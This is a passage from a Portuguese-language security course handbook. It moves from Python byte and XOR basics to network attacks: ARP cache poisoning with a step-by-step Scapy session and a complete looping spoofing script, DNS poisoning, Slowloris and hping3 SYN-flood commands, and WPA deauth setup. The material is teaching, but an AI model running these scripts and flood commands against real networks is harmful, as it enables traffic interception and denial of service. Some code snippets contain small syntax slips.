Também podemos utilizar as funções bin(), oct() e hex() para converter decimais em binário, octal e hexadecimal, respectivamente. Porém todas essas funções retornam uma string, visto que o Python não armazena valores literais em outras bases:

```python
# armazena a string '0b100'
binario = bin(4)

# armazena a string '0o12'
octal = oct(10)

# armazena a string '0x14'
hexa = hex(20)
```

Como visto anteriormente, dado um objeto do tipo bytearray ou bytes, é possível convertê-lo em uma sequência de hexadecimais, e vice-versa:

```python
# armazena '142d' (0x14 = 20 e 0x2d = 45)
hexa = bytes([20, 45]).hex()

# converte a mesma sequência de volta a bytes
b = bytes.fromhex(hexa)
```

## **Codificação e decodificação**

Por padrão, o Python utiliza a codificação utf-8, isso significa que podemos armazenar strings com caracteres especiais (incluindo acentuação, por exemplo).

Os caracteres de uma string que estão contidos na tabela ascii são codificados como ascii (pois eles coincidem com o utf-8) e utilizam apenas 1 byte por caractere, porém os caracteres especiais necessitam de mais bytes para serem representados. Por conta disso, se armazenarmos uma string com caracteres especiais em um objeto do tipo bytes e utilizarmos a função print() nesse objeto, esses caracteres não serão imprimidos na tela, ao invés disso os seus bytes individuais serão imprimidos com o prefixo ‘\x’, isso indica que eles são caracteres fora da tabela ascii e possuem o valor em hexadecimal representado após o ‘\x’.

```python
# armazena a string 'é' em um objeto do tipo bytes, é necessário indicar que a string está codificada em utf-8 no segundo argumento
b = bytes('é', 'utf-8')

# o caractere 'é' é representado pelos bytes 0xc3 e 0xa9 e ambos não estão na tabela ascii, portanto o comando a seguir imprime b'\xc3\xa9'
print(b)

# também podemos utilizar o método encode() das strings, que produz o mesmo resultado
b = 'é'.encode('utf-8')

# também é possível representar o objeto acima de forma literal utilizando o formato b''
s = b'\xc3\xa9'

# a decodificação de bytes para utf-8 é feita utilizando o método decode() do bytes
b = s.decode('utf-8')

# imprime 'é'
print(b)
```

Como dito anteriormente, a fim de obtermos o código ascii ou unicode de um caractere no Python devemos utilizar a função ord(). Analogamente, para obtermos o caractere correspondente a um código unicode devemos utilizar a função chr().

```python
# imprime o código unicode do 'a' (97)
print(ord('a'))

# imprime o código unicode do 'é' (233)
print(ord('é'))

# imprime o caractere cujo código unicode é 199 ('Ç')
print(chr(199))

# atribui 'b' à uma variável e subtrai seu valor de 1, obtendo 'a'
c = 'b'
c = chr(ord(c) - 1)
```

## **Operadores**

Os operadores mais usados em criptografia são o XOR e o módulo. O primeiro é muito utilizado para encriptar e decriptar mensagens, e o segundo é utilizado para garantir que um cálculo específico não ultrapasse determinado valor, geralmente o intervalo de um byte (de 0 a 255).

### **XOR**

Assim como em C, o operador XOR (^) opera sobre dois inteiros e retorna o resultado de aplicar ou-exclusivo (eXclusive-OR) sobre eles, bit a bit (bitwise).

```python
# xor entre 4 (100) e 6 (110), que resulta em 2 (010)
print(4 ^ 6)
```

### **Módulo**

Assim como em C, o operador módulo (%) opera sobre dois inteiros e retorna o resto da divisão do primeiro pelo segundo, ou seja, X % Y retorna o resto da divisão de X por Y.

```python
# imprime 257 módulo 256, que resulta em 1
print(257 % 256)
```

## **Loops e iteradores**

### **For**

O for do Python difere consideravelmente do for da linguagem C pois, no Python, este deve sempre iterar sobre outros objetos “iteráveis” (o nome genérico para esse tipo de loop é for each).

Todos os tipos apresentados na seção 4 e os generators, explicados na seção 8.3, são iteráveis, ou seja, seus elementos podem ser acessados invidualmente, em ordem, portanto todos podem ser utilizados no for.

A sintaxe do for é, de forma genérica, for {variável} in {iterador}, sem os colchetes, e como resultado faz com que, a cada iteração, “variável” receba o valor de cada elemento presente no objeto “iterador”.

Para utilizar o for do Python da mesma forma que utilizamos em C, fazemos uso da função range() que recebe como argumento 3 valores (start, stop e step) e retorna um iterador contendo todos os valores entre start e (stop - 1), separados por step. Então ao executarmos for i in range(0, 10, 1), o valor de i receberá, a cada iteração, os valores de 0 a 9, separados de 1 em 1. Contudo, os argumentos start e step são opcionais e, caso não sejam fornecidos, são definidos como 0 e 1, respectivamente.

```python
# imprime todos os números de 0 a 9
for i in range(10):
    print(i)

# imprime os números de 5 a 9
for i in range(5, 10):
    print(i)

# imprime os valores 5, 7 e 9
for i in range(5, 10, 2):
    print(i)

# itera a variável 'elem' sobre os elementos de uma lista e imprime todos, um a um
for elem in [5, 'string', 8.9, True]:
    print(elem)

s = 'criptografia'

# itera sobre cada caractere da string s ('criptografia')
for char in s:
    print(char)

# a função range() também pode ser atribuída a uma variável e, neste caso, armazena um iterador sobre os elementos requisitados
t = range(2, 5)

# imprime 3
print(t[1])
```

A iteração também pode ser feita em dois ou mais objetos simultaneamente utilizando a função zip(). Essa função retorna n tuplas, onde cada tupla contém os elementos de mesma posição dos objetos que foram fornecidos à função, e “n” é o tamanho do menor desses objetos. Caso um dos objetos seja maior do que o outro, os elementos restantes do maior objeto serão ignorados.

```python
# declarando duas listas com valores diferentes
l1 = [1,2,3]
l2 = [4,5,6]

# iterando sobre cada par de mesma posição de l1 e l2, simultaneamente
for elem1, elem2 in zip(l1, l2):
    print(elem1, elem2)

# o código acima imprime:
# 1 4
# 2 5
# 3 6
```

Outro método de iteração simultânea é utilizando a função enumerate() que recebe apenas 1 objeto de tamanho n e retorna n tuplas, cada uma contendo a posição e o valor de cada elemento do objeto.

```python
# a cada iteração, i recebe a posição e elem recebe o valor da lista
for i, elem in enumerate([7, 8, 9])
    print(i, elem)

# o código acima imprime:
# 0 7
# 1 8
# 2 9
```

### **Xor entre bytes**

Agora que sabemos o funcionamento do for e do bytes, podemos finalmente implementar um código que realiza a operação xor entre dois objetos bytes quaisquer. Operação essa que é muito útil para diversos algoritmos de criptografia. Lembrando que o operador xor é representado pelo circunflexo (^) e sempre opera sobre dois decimais inteiros.

```python
# xor entre dois bytes (12 e 30)
result = 12 ^ 30

# imprime o resultado (18)
print(result)

# agora vamos encriptar um plaintext em formato de bytes
plaintext = b'um plaintext muito bonito'
chave = b'uma chave maior do que o plaintext'

# o ciphertext começa como um bytes vazio
ciphertext = bytes()
for p, c in zip(plaintext, chave):
    # realiza o xor e incrementa o ciphertext com o resultado
    xor = p ^ c
    ciphertext += bytes([xor])

# imprime o ciphertext em formato de bytes
print(ciphertext)

# imprime o ciphertext em formato hexadecimal (melhor visualização)
print(ciphertext.hex())
```

### **Generators**

Generators são um tipo especial de iterador. Além de possuírem uma sintaxe bastante compacta, sua principal característica que os diferem de outros iteradores é que eles não armazenam elementos em sua estrutura e portanto quase não consomem espaço na memória RAM, ao invés disso, ao se solicitar o próximo elemento de um generator ele faz o cálculo e devolve o resultado requisitado sob demanda.

Existem 2 tipos principais de generators:

O primeiro utiliza a sintaxe {expressão} for {variável} in {iterador}, sem os colchetes. Nesse caso, “variável” itera sobre cada elemento do “iterador”, e este generator retorna o resultado de “expressão” (possui acesso ao conteúdo de “variável”), sob demanda, a cada requisição de uma nova iteração. Essa sintaxe pode ser atribuída a uma variável, a qual será do tipo generator e poderá ser utilizada para solicitar novos valores, ou pode ser utilizada para construir outros tipos, como listas, tuplas e bytes.

O segundo tipo utiliza funções e será explicado na seção 9.1.

```python
# cria uma variável generator que retorna o dobro de todos os números entre 0 e 5
# os parênteses são necessários
g = (2 * n for n in range(6))

# a função next() recebe um generator e retorna o resultado da próxima iteração sobre ele
# imprime 0
print(next(g))

# imprime 2
print(next(g))

# cria uma lista com os próximos elementos do generator (4, 6, 8 e 10), pois os 2 primeiros já foram consumidos
l1 = list(g)

# reinicia o mesmo generator
g = 2 * n for n in range(6)

# cria uma segunda lista com todos os elementos originais do generator
l2 = list(g)

# cria uma nova lista utilizando um generator
# armazena o xor entre os elementos de l1 e l2
l3 = [p ^ c for p, c in zip(l1, l2)]
```

Agora somos capazes de reescrever o mesmo código da seção 8.2 (xor entre bytes) utilizando apenas 1 linha:

```python
# faz o xor entre plaintext e chave e armazena no ciphertext
ciphertext = bytes([p ^ k for p, k in zip(plaintext, chave)])
```

### **Slices**

Slice é um recurso do Python que permite acessar “pedaços” de objetos iteráveis (exceto generators). Seu formato é \[começo:fim:passo], onde começo indica a posição inicial que se deseja obter, (fim - 1) é a posição final que se deseja obter, e passo é a diferença entre elementos consecutivos. Caso o passo não seja fornecido, seu valor é definido como 1. Caso o começo não seja fornecido, seu valor é definido como a posição inicial do objeto. Caso o fim não seja fornecido, seu valor é definido como a posição final do objeto.

```python
# cria uma lista com os elementos de 0 a 9
l1 = list(range(10))

# imprime os elementos de 4 a 8
print(l1[4:9])

# imprime do começo da lista até a 5ª posição
print(l1[:6]

# imprime da 5ª posição até o final da lista
print(l1[5:]

# imprime os elementos de 2 a 8, pulando de 2 em 2
print(l1[2:9:2]

# imprime todos os elementos da lista, pulando de 2 em 2
print(l1[::2]
```

## **Funções**

As funções no Python são semelhantes às funções de outras linguagens, com diferença de que o tipo de retorno, assim como tudo Python, não precisa ser especificado.

Para definir uma função utilizamos a keyword def, seguidos pelos parâmetros entre parênteses, e utilizamos a mesma regra de escopo da seção 3 para definir todo o código que pertence à função:

```python
# função que recebe um plaintext e uma chave, faz o xor entre ambas e retorna o ciphertext
def xor(plaintext, chave):
    ciphertext = bytes([p ^ k for p, k in zip(plaintext, chave)])
    return ciphertext
```

### **Generator**

Como foi citado na seção anterior, é possível criar funções do tipo generator, as quais realizam um cálculo e devolvem a expressão após a keyword yield a cada requisição de uma nova iteração do gerador:

```python
# cria um gerador que recebe um número e, a cada requisição, devolve o número anterior incrementado de 1, e pode ser utilizada infinitamente (por conta do “while True”)
def gerador(num):
    while True:
        num += 1
        yield num

g = gerador(5)

# imprime 6
print(next(g))

# imprime 7
print(next(g))

# imprime 8
print(next(g))

# etc
```

## **Bibliotecas de criptografia**

* PyCryptodome

PyCryptodome é uma biblioteca que surgiu para substituir a PyCrypto, que foi descontinuada. Atualmente ela possui diversas cifras simétricas e assimétricas (Salsa20, ChaCha, RSA, entre outras), funções de Hash e de Assinatura Digital, chaves públicas, gerador de números pseudoaleatórios, entre outros.

Para instalar essa biblioteca no Python, execute no terminal `pip install --user pycryptodome`, a flag `--user` realiza a instalação apenas para o usuário logado é importante para garantir que ela não seja instalada em todo o sistema, o que possivelmente pode causar problemas futuros. **Obs:** Caso você esteja utilizando o comando `python3` para executar códigos, utilize `pip3` para instalar módulos.

A API com todas as ferramentas dessa biblioteca está disponível em <https://www.pycryptodome.org/en/latest/src/api.html>.

Exemplos de uso dessa biblioteca podem ser encontrados em <https://www.pycryptodome.org/en/latest/src/examples.html>.


# Redes


# Ataques


# Arp Cache Poisoning

### Relembrando o protocolo ARP

**1. O que é**

Vimos há algumas aulas sobre o protocolo ARP e como ele funciona, mas aqui vai um breve resumo para relembrá-lo. O Address Resolution Protocol (ARP) é responsável por fazer a ligação da camada de rede com a de enlace, mapeando um endereço de rede (como um IPv4) a um endereço Ethernet (como um MAC), permitindo a existência de redes com múltiplos acessos.

**2. ARP Cache**

Os hosts da rede mantêm uma tabela que mapeia um endereço IP a um endereço MAC em cada linha (temporária), que é preenchida quando acontece uma resolução de um IP que não consta na ARP cache. Com esse mapeamento, enquanto houver comunicação entre dois hosts, não é necessário fazer novas resoluções de IP através de ARP requests.

![Nesse caso, a ARP Cache do Host A possui a linha do IP do Host C preenchida com o MAC dele, então é possível estabelecer uma conexão direta de A para C sem que haja um novo ARP request.](https://i.imgur.com/uOJ3Rhz.png)

### Ataque Man In the Middle (MITM)

A ideia do ataque é simples: o invasor se posiciona entre as duas pontas de uma comunicação, interceptando as mensagens trocadas. Na prática, no entanto, é algo um pouco mais complexo, pois para funcionar direito, o atacante não pode ser detectado.

![](https://i.imgur.com/YEPsm6o.png)

### Sobre o ataque

**1. Objetivo**

O objetivo desse ataque é "envenenar" a arp cache, tanto da vítima quanto do gateway padrão (dentro de uma rede), escrevendo informações falsas nelas e fazendo com que o atacante finja ser o gateway para a vítima e vice-versa (um MITM). O invasor, então, encaminha os dados para os devidos endereços, tornando uma comunicação completa, porém agora tudo passa por ele, o que cria uma abertura para outros tipos de ataque.

**2. Como funciona**

Antes de fazer o ataque em si, o invasor precisa conhecer os IPs da vítima e do gateway e, para isso, ele faz um *scan* na rede e identifica esses dados.

Com isso em mãos, o atacante realiza *broadcasts* para descobrir os respectivos MACs daqueles IPs e, no momento em que as ARP caches forem atualizadas, ele irá mandar um "replies safados", sobrepondo os MACs do gateway e da vítima com o seu no lugar.

Nesse momento, as comunicações serão entre gateway e invasor e entre vítima e invasor. Para se manter em anonimato, o invasor redireciona os pacotes que recebe, fechando a comunicação original.

### O ataque na prática

Para realizar o ataque, usaremos duas ferramentas, principalmente: o nmap e o scapy

**Nmap**

Falaremos melhor em aulas futuras, mas, resumidamente, é um programa que realiza *port scan*, descobrindo hosts e serviços em uma rede.

**Scapy**

Scapy é uma ferramenta que permite ao usuário enviar, sniffar, dissecar e forjar pacotes.

**1. Instalação**

```bash
$ git clone https://github.com/secdev/scapy.git
$ cd scapy
$ sudo python3 setup.py install
```

ou

```bash
$ sudo apt install python3-scapy
```

**O ataque**

* Passo 0: identificar hosts (vítimas) na rede

```bash
$ sudo nmap 192.168.1.0/24 -sC
```

Supondo que o atacante tenha achado o host `192.168.1.101`

* Iniciando o Scapy

```bash
$ scapy
```

* 1º passo: Identificar o MAC Address da vítima e do default gateway
* Solução: arp request e arp reply
* Default gateway:

```python
>>> arprequest1 = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst = "192.168.1.1")
>>> arprequest1.show()
###[ Ethernet ]### 
  dst= ff:ff:ff:ff:ff:ff
  src= 28:56:5a:49:ff:67
  type= ARP
###[ ARP ]### 
     hwtype= 0x1
     ptype= IPv4
     hwlen= None
     plen= None
     op= who-has
     hwsrc= 28:56:5a:49:ff:67
     psrc= 192.168.1.103
     hwdst= 00:00:00:00:00:00
     pdst= 192.168.1.1

>>> arpreply1 = srp(arprequest1)
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> arpreply1[0][0][1]
(<<Ether  dst=28:56:5a:49:ff:67 src=c4:e9:84:9a:14:16 type=ARP |<ARP
hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=c4:e9:84:9a:14:16
psrc=192.168.1.1 hwdst=28:56:5a:49:ff:67 pdst=192.168.1.103 |>>)
```

Observe que o arp request faz um broadcast (`dst=ff:ff:ff:ff:ff:ff:ff`), carrega a operação 1 (`who-has`), com o hwdst (MAC address de destino) desconhecido e o `pdst` (IP de destino ) `192.168.1` . Ou seja, quando enviado com o `srp` pergunta à todos qual é o MAC do `192.168.1.1` e aguarda uma resposta.

O gateway recebe essa request e envia uma reply que chega como retorno do `srp` (arpreply1). É possível perceber que o `arpreply1` carrega a operação 2 (is-at) e tem como `hwsrc` (MAC Address de onde saiu) `c4:e9:84:9a:14:16`, que é justamente o MAC do gateway que queríamos.

* Vítima:

```python
>>> arprequest2 = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst = "192.168.1.101")
>>> arprequest2.show()
###[ Ethernet ]### 
  dst= ff:ff:ff:ff:ff:ff
  src= 28:56:5a:49:ff:67
  type= ARP
###[ ARP ]### 
     hwtype= 0x1
     ptype= IPv4
     hwlen= None
     plen= None
     op= who-has
     hwsrc= 28:56:5a:49:ff:67
     psrc= 192.168.1.103
     hwdst= 00:00:00:00:00:00
     pdst= 192.168.1.101

>>> arpreply2 = srp(arprequest2)
Begin emission:
Finished sending 1 packets.
*
Received 1 packets, got 1 answers, remaining 0 packets
>>> arpreply2[0][0][1]
(<<Ether  dst=28:56:5a:49:ff:67 src=c4:e9:84:9a:14:16 type=ARP |<ARP
hwtype=0x1 ptype=IPv4 hwlen=6 plen=4 op=is-at hwsrc=b4:2e:99:f4:b7:df
psrc=192.168.1.1 hwdst=28:56:5a:49:ff:67 pdst=192.168.1.103 |>>)
```

A mesma observação feita para o gateway vale para a vítima.

* 2º passo: “envenenar” o arp cache da vítima na linha do default gateway, preenchendo com o MAC address do atacante
* Solução: fake arp reply

```python
>>> arppoison1 = ARP(op = 2, psrc = "192.168.1.1", pdst = "192.168.1.101", hwdst = "b4:2e:99:f4:b7:df")
>>> arppoison1.show()
###[ ARP ]### 
  hwtype= 0x1
  ptype= IPv4
  hwlen= None
  plen= None
  op= is-at
  hwsrc= 28:56:5a:49:ff:67
  psrc= 192.168.1.1
  hwdst= b4:2e:99:f4:b7:df
  pdst= 192.168.1.101

>>> send(arppoison1)
.
Sent 1 packets.
```

Observe que o que está sendo enviado para a vítima (`192.168.1.101` no MAC `b4:2e:99:f4:b7:df`) é que o IP `192.168.1.1` (default gateway) está (`is-at`) no MAC `28:56:5a:49:ff:67` (`hwsrc`) que na verdade é o MAC do atacante.

* 3º passo: “envenenar” o arp cache do default gateway na linha da vítima, preenchendo com o MAC address do atacante
* Solução: fake arp reply

```python
>>> arppoison2 = ARP(op = 2, psrc = "192.168.1.101", pdst = "192.168.1.1", hwdst = "c4:e9:84:9a:14:16")
>>> arppoison1.show()
###[ ARP ]### 
  hwtype= 0x1
  ptype= IPv4
  hwlen= None
  plen= None
  op= is-at
  hwsrc= 28:56:5a:49:ff:67
  psrc= 192.168.1.101
  hwdst= c4:e9:84:9a:14:16
  pdst= 192.168.1.1

>>> send(arppoison1)
.
Sent 1 packets.
```

Observe agora que o que está sendo enviado para o gateway (`192.168.1.1` no MAC `c4:e9:84:9a:14:16`) é que o IP `192.168.1.101` (vítima) está (`is-at`) no MAC `28:56:5a:49:ff:67` (`hwsrc`) que na verdade é o MAC do atacante.

A partir desse momento, o gateway acha que a vítima está no MAC do atacante assim como a vítima acha que o gateway está no mesmo MAC malicioso.

## Problemas

Porém, só com isso, esse ataque ainda não é efetivo por 2 motivos:

1. Os pacotes saem do gateway e chegam no atacante, mas não vão até a vítima, assim como saem da vítima e chegam no atacante, mas não vão pro gateway. É preciso fazer com que o atacante encaminhe os pacotes para o IP certo quando passam por ele.
2. A arp cache possui um tempo de verificação de linhas obsoletas, fazendo novos arp requests para atualizá-la. Após o ataque ser feito uma vez, depois de um curto período de tempo, a cache voltaria ao normal.

## Soluções

1. Para encaminhar pacotes para os devidos IP's exitem 2 maneiras:

Pelo próprio kernel

```bash
$ echo 1 > /proc/sys/net/ipv4/ip_forward
```

ou

Utilizando o iptables

```bash
sudo apt install iptables
```

1. Para burlar o refresh da arp cache, o atacante pode enviar continuamente fake replys para sempre que um request for feito, já haja um fakereply pronto para responder. E isso pode ser feito com um [script](https://github.com/guilhermehiromoto/arp-cache-poisoning/blob/master/arp.py) em python.

```python
from scapy.all import *
import time

def getmac(targetip):
    arppacket = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
    targetmac = srp(arppacket)[0][0][1].hwsrc
    return targetmac

def poisonarpcache(targetip, targetmac, sourceip):
    spoofed = ARP(op=2 , pdst=targetip, psrc=sourceip, hwdst= targetmac)
    send(spoofed)

def restorearp(targetip, targetmac, sourceip, sourcemac):
    packet = ARP(op=2 , hwsrc=sourcemac , psrc= sourceip, hwdst= targetmac , pdst= targetip)
    send(packet)
    print ("ARP Table restored to normal for", targetip)

def main():
    targetip = input("Enter Target IP:")
    gatewayip = input("Enter Gateway IP:")

    try:
        targetmac = getmac(targetip)
    except:
         print("Target machine did not respond to ARP broadcast")
         quit()

    try:
        gatewaymac= getmac(gatewayip)
    except:
         print("Gateway is unreachable")
         quit()

    try:
        print ("Sending spoofed ARP replies")
        while True:
            time.sleep(5) 
            poisonarpcache(targetip, targetmac, gatewayip)
            poisonarpcache(gatewayip, gatewaymac, targetip)

    except KeyboardInterrupt:
        print ("ARP spoofing stopped")
        restorearp(gatewayip, gatewaymac, targetip, targetmac)
        restorearp(targetip, targetmac, gatewayip, gatewaymac)
        quit()

if __name__=="__main__":
    main()
```

## Referências

1. [RFC 826](https://web.archive.org/web/20041204044506/http://www.ietf.org/rfc/rfc826.txt)
2. [ARP Cache Poisoning using Scapy](https://medium.com/datadriveninvestor/arp-cache-poisoning-using-scapy-d6711ecbe112)
3. [Scapy Documentation](https://scapy.readthedocs.io/en/latest/usage.html)


# DNS Cache Poisoning

## Relembrando o DNS

Quando a gente acessa, por exemplo, o [*https://ganesh.icmc.usp.br/*](https://ganesh.icmc.usp.br/), o nosso navegador precisa saber, na verdade, o endereço IP do site que estamos tentando acessar. Para isso, ele manda uma requisição para o DNS Server - que faz um *match* da URL com o IP. Com isso em mãos, o resultado fica guardado temporariamente na DNS Cache do navegador, ou até do sistema operacional, para que o IP daquele domínio fique salvo e possa ser reutilizado.

![Resolução do domínio pelo DNS Server.](https://i.imgur.com/9cjvG6Q.png)

## Fazendo uma resolução DNS manual

O `dig` é um comando do Linux utilizado para coletar informações de DNS: ele faz pesquisas de domínio e retorna os IPs dos nomes consultados.

```bash
spider@ganesh:~$ dig google.com.br

; <<>> DiG 9.11.5-P4-5.1+deb10u3-Debian <<>> google.com.br
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 9066
;; flags: qr rd ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; WARNING: recursion requested but not available

;; QUESTION SECTION:
;google.com.br.                 IN      A

;; ANSWER SECTION:
google.com.br.          0       IN      A       216.58.202.195

;; Query time: 18 msec
;; SERVER: 172.17.27.241#53(172.17.27.241)
;; WHEN: Thu Mar 25 15:58:54 -03 2021
;; MSG SIZE  rcvd: 60
```

Observe que no campo `QUESTION` está o domínio do qual queremos saber o IP e no campo `ANSWER` temos o próprio IP do domínio que estamos consultando.

## Como  funciona o DNS Cache Poisoning

**Uma breve intuição de como funciona**

PARABÉNS!! Você acabou de passar na faculdade :). No seu primeiro dia, você pisa no ICMC e precisa ir para a sala 5-001 ter aula de Cálculo. Mas onde ela fica???

Para se achar lá dentro, você abre o Guia dos Bixos e vai rever como funciona a numeração das salas. Chegando lá, você vê tudo vazio e volta pra casa sem entender nada. A questão é: quem te falou que a aula seria nessa sala foi um veterano chatão que só quer ver fogo no parquinho e falou qualquer número.

O DNS Cache Poisoning funciona mais ou menos dessa forma. O atacante (veterano chatão) "envenena" o DNS Cache (nesse caso, a informação que você recebe), podendo redirecionar a vítima para qualquer site que ele quiser, normalmente malicioso.

**Como envenenam o DNS Cache**

Quando um usuário acessa um site, o navegador precisa realizar toda resolução do endereço IP. Ele faz o *request*, com um Transaction ID específico (um inteiro de 16 bits aleatório) utilizado para validar a resposta daquele *request* (só é aceita uma resposta com o mesmo ID). Essa requisição chega até o DNS Server que responde com o respectivo endereço IP utilizando o mesmo Transaction ID.

O atacante, então, precisa estabelecer um Man-In-The-Middle (MITM) para que ele possa interceptar os requests de resolução de domínio, verificar o Transaction ID, forjar uma *response* maliciosa (válida) e enviar para a vítima.

A vítima salva essa resposta em sua DNS Cache, até que ela expire depois de um tempo definido pelo *time-to-live.* Então, o domínio precisa ser resolvido novamente.

## Referências

1. [DNS as Fast As Possible](https://www.youtube.com/watch?v=Rck3BALhI5c)
2. [O que é envenenamento do cache de DNS?](https://www.cloudflare.com/pt-br/learning/dns/dns-cache-poisoning/)
3. [DNS Cache Poisoning - Computerphile](https://www.youtube.com/watch?v=7MT1F0O3_Yw)


# Slow Loris

![](https://www.cloudflare.com/img/learning/ddos/ddos-slowloris-attack/slowloris-attack-diagram.png)

A ideia por trás do Slow Loris é abrir várias conexões TCP com um servidor web e, em cada uma delas, enviar de tempos em tempos uma parte de uma requisição GET. O servidor acha que as conexões estão lentas, mas que são legítimas, então ele as mantêm, impedindo outras conexões de usuários comuns.

Para esse ataque, vamos usar [esse código maravilindo](https://github.com/gkbrk/slowloris). Primeiro clonamos o repositório:

```
$ git clone https://github.com/gkbrk/slowloris
```

Depois entramos no repositório clonado:

```
$ cd slowloris
```

**Obs:** É possível que você precise especificar um caminho diferente ao `cd`, dependendo da pasta para onde o repositório foi clonado e da pasta onde você está.

Finalmente, basta usar o python para executar o código, passando o IP do alvo (nesse caso, nosso alvo é `10.10.10.10`):

```
$ python3 slowloris.py 10.10.10.10
```

Ou apenas o domínio, caso exista:

```
$ python3 slowloris.py example.com
```

**Obs:** Existe uma outra versão do Slow Loris que se chama R U Dead Yet, que envia requisições POST ao invés de GET.


# Syn Flood

![](https://www.gta.ufrj.br/grad/15_1/dos/images/syn_flood.png)

Quando sua máquina conversa com outra através da internet ela quase sempre usa o protocolo TCP. Esse protocolo permite que duas máquinas abram uma conexão, ou seja, um canal de comunicação preestabelecido.

Para que essa conexão seja feita é realizado um procedimento chamado [Three-way handshake](https://es7evam.gitbook.io/ganeshicmc/redes/three-way-handshake), ou, numa tradução livre, Aperto de mão em três vias. O ataque SYN Flood toma vantagem justamente de um comportamento inusitado desse procedimento.

Imagine que a máquina A manda o SYN, mas ela não recebe um SYN/ACK como resposta. Isso pode acontecer por diversos fatores: problemas na rede, firewals mal configurados, quedas de energia, etc.

É por isso que o protocolo TCP tem os pacotes ACK, trata-se de um mecanismo de confirmação de recebimento de mensagens. Nesse caso, a máquina A entenderia que algo de errado aconteceu e ela reenviaria o pacote SYN. Da mesma forma, se a máquina B envia o SYN/ACK mas recebe um SYN novamente de A, ela entende que A não recebeu o seu SYN/ACK e reenviou o SYN.

O ataque então faz o seguinte: nós enviamos pacotes SYN sem parar, não importando qual seja a resposta do alvo. Ele pensará que nós realmente não estamos recebendo suas respostas e manterá várias conexões abertas por um tempo considerável.

Isso faz com que a tabela de conexões do alvo fique lotada com as nossas conexões, impedindo-o de abrir conexões com outras máquinas.

Para isso, usaremos uma ferramenta chamada Hping3:

`sudo hping3 -c <quantidade de pacotes> -d <tamanho do pacote> -S -p <porta alvo> -i u<tempo> --flood <ip do alvo>`

-c : Quantidade de pacotes a serem enviados\
-d : Tamanho de cada pacote a ser enviado -S: Usar a flag SYN do TCP\
-p : Porta da máquina destino (em geral não importa, desde que seja uma porta onde há um socket em modo LISTEN)\
-i u : tempo entre envios (em milissegundos: u100 == 100 milissegundos entre pacotes)\
\--flood: Envia pacotes o mais rápido possível

## Referências:

[RFC sobre SYN flood](https://tools.ietf.org/html/rfc4987)\
[Artigo sobre SYN Flood da Phrack Magazine](http://phrack.org/issues/48/13.html#article)\
[Repositório do Hping3 no Github](https://github.com/antirez/hping)\
[Wiki do Hping3](http://wiki.hping.org/)


# WPA Cracking

A principal ideia por trás do WPA Cracking Attack é se aproveitar de vulnerabilidades existentes na conexão Wi-Fi para brutar a senha de uma rede. Ele consiste em 3 principais passos:

* Monitorar um ponto de acesso.
* Forçar uma desautenticação de um dos clientes da rede.
* Capturar a reautenticação/handshake desse cliente com o ponto de acesso.
* Crackear o handshake (bruteforce).

De forma que poderemos saber se alguma das chaves contidas numa `WORDLIST` corresponde à senha da rede monitorada.

## Definições

### WPA/WPA2

Assim como seu antecessor WEP, são protocolo de segurança criados para proteger redes WiFi.

### Interface de monitoramento

Normalmente, a interface wireless da sua placa de rede está responsável por capturar apenas os pacotes destinados para o seu computador, ou seja, apenas aqueles enviados pela rede Wifi na qual está conectado. Quando ativamos o **modo monitoramento**, no entanto, conseguimos inspecionar os mais diversos pacotes de todos os pontos de acesso ao seu redor.

### Ponto de Acesso (AP)

São os dispositivos que permitem hosts se conectarem a uma rede, como por exemplo roteadores.

### BSSID e ESSID

**BSSID** diz respeito ao próprio endereço MAC do ponto de acesso; enquanto **ESSID/SSID**, ao nome público desse.

### WORDLISTS

São listas de senhas em *plain text* geralmente conseguidas por meio de vazamentos de grandes bancos de dados. Elas são comumente utilizadas para testes de *password cracking*, e uma das mais famosas se trata da [rockyou.txt](https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt).

## 4-Way Handshake

![4WayHandshake](https://upload.wikimedia.org/wikipedia/commons/a/ac/4-way-handshake.svg)

## Deauthentication Attack

![Deauth Attack](https://upload.wikimedia.org/wikipedia/commons/thumb/9/95/Deauth_attack_sequence_diagram.svg/800px-Deauth_attack_sequence_diagram.svg.png)

O protocolo IEEE 802.11 (WiFi) possui um *"pacote"*, o qual na verdade trata-se de apenas um frame, de controle chamado **deauthentication frame** que avisa ao cliente que ele foi desconectado da rede.

Como o protocolo não exige nenhuma encriptação desse frame, se "fingindo" de AP (spoofing), o atacante pode manda-lo conhecendo apenas o endereço MAC da vítima e do ponto de acesso.


# Deauth

Esse ataque consiste em utilizar uma operação presente na especificação do 802.11. É o comando de desautenticação. Ele permite que os AP's enviem esse comando para os clientes se desconectarem da rede wifi, contudo é possível fraudar esse comando e desconectar um cliente maliciosamente.

Para realizar esse ataque, precisaremos de um adaptador wireless capaz de entrar em modo *monitor* (i.e. capaz de ler frames não endereçados a ele). Além disso, também precisa ser capaz de injetar pacotes fraudados - especialmente pacotes *deauth*. Tendo satisfeito essas duas condições, será possível realizar o ataque utilizando a suíte *aircrack-ng*. Para testar a viabilidade do ataque com seu adaptador wi-fi, siga os passos abaixo.

## Teste de compatibilidade

Precisaremos inicialmente baixar a suíte de aplicações *aircrack-ng*, ela contém todos os programas necessários para testar sua placa de rede (i.e. adaptador wi-fi) e para executar o ataque. Para distros baseadas em Debian (i.e. usam o gerenciador de pacotes `apt`), basta executar (com `sudo` ou como usuário `root`):

```bash
apt install aircrack-ng
```

Bem, a partir de agora, as coisas ficam um pouquinho mais complicadas. Precisamos encontrar o nome da sua interface de rede dado pelo sistema operacional. Execute:

```bash
ip a
```

E verifique a saída procurando por `wlanX` ou `wlpXsYfZ`, em que X, Y e Z são números. Segue abaixo um exemplo.

```bash
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: wwan0: <POINTOPOINT,NOARP> mtu 1500 qdisc noop state DOWN group default qlen 1000
